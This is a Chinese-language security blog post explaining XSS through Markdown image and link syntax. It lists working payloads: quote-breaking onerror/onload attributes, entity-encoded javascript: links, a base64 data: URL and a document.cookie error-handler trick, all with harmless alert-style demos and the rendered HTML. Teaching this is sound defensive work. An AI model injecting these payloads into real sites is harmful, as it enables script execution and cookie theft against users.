xss 之 Markdown

xss 之 Markdown

markdown是一种轻量级标记语言,通过简单语法,可以使文本具有一定格式,最常见于GitHub上readme文件,现这种语言已被广泛使用.

Markdown语法中易于攻击的两种

  • 图片

  • 链接

1 markdown插入图片

1.1

markdown语法:

![alt 属性文本](图片地址)

使用实例:

![RUNOOB 图标](https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg)

格式化后:

<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 图标"></p>
1.2

可以尝试通过闭合双引号形成xss

![RUNOOB 图标](" onerror="alert('xss')")

格式化后:

<img src="" onerror="alert('xss')" alt="RUNOOB 图标">

当JavaScript代码直接放置在src或alt属性中时,因为src值为空,因此加载图像将导致代码执行错误,之后执行onerror的语句,形成xss

相同思路,也可以添加onload属性

也可以尝试将[]中的内容逃逸,[]中的内容格式化后出现在alt后

在这里插入图片描述

故可以:

![RUNOOB 图标" onload=alert(1)](https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg)

结果如下:

<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 图标&quot; onload=alert(1)"></p>

可以发现这里出现了字符转义,所以逃逸没有成功,但是可以作为一种攻击的思路

2 markdown也可以实现链接

2.1

markdown语法:

[链接名称](链接地址)
or
<链接地址>

使用实例:

[baidu](https://baidu.com)
or
<https://baidu.com>

格式化后:

<p><a href="https://baidu.com">baidu</a>
or
<a href="https://baidu.com">https://baidu.com</a></p>

2.2

如果我们改变()中的内容

例如:

[baidu](javascript:alert(1))

格式化后:

<a href="javascript:alert(1);">baidu</a>

但是这只是理想中的格式化后结果,但是实际结果会是:

<a href="javascript:alert(1">baidu</a>)

就如以下两个语句:

[baidu](javascript:alert(1))
[baidu](javascript:alert(1&#41;)

在这里插入图片描述

结果:
在这里插入图片描述

3 实现方式

js警报

代码:

[a](javascript:alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)

格式化:

<a href="javascript:alert(1)">a</a>
<a href="javascript:alert(1)">a</a>

结果:
在这里插入图片描述

js提示

代码:

[a](javascript:prompt(document.domain&#41;)

格式化:

<a href="javascript:prompt(document.domain)">a</a>

结果:

在这里插入图片描述

base64转换

代码:

[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

格式化:

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">a</a>

结果:

在这里插入图片描述

错误事件处理

代码:

[a](javascript:window.onerror=confirm;throw%20document.cookie)

格式化后:

<a href="javascript:window.onerror=confirm;throw%20document.cookie" >a</a>

结果:

在这里插入图片描述

4 总结

  • 有的cookie设置了httponly,无法用javascript获取
  • 现今诸多网站都会有过滤,HTML白名单,所以限制其实很大
  • 尽管xss-markdown限制很多,但是也还是可以作为一种攻击手段

资料参考:

https://cloud.tencent.com/developer/article/1521343

http://www.52bug.cn/hkjs/3292.html

http://kejyun.github.io/website-security-learning-notes/xss/markdown/xss-markdown-link-attack.html

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值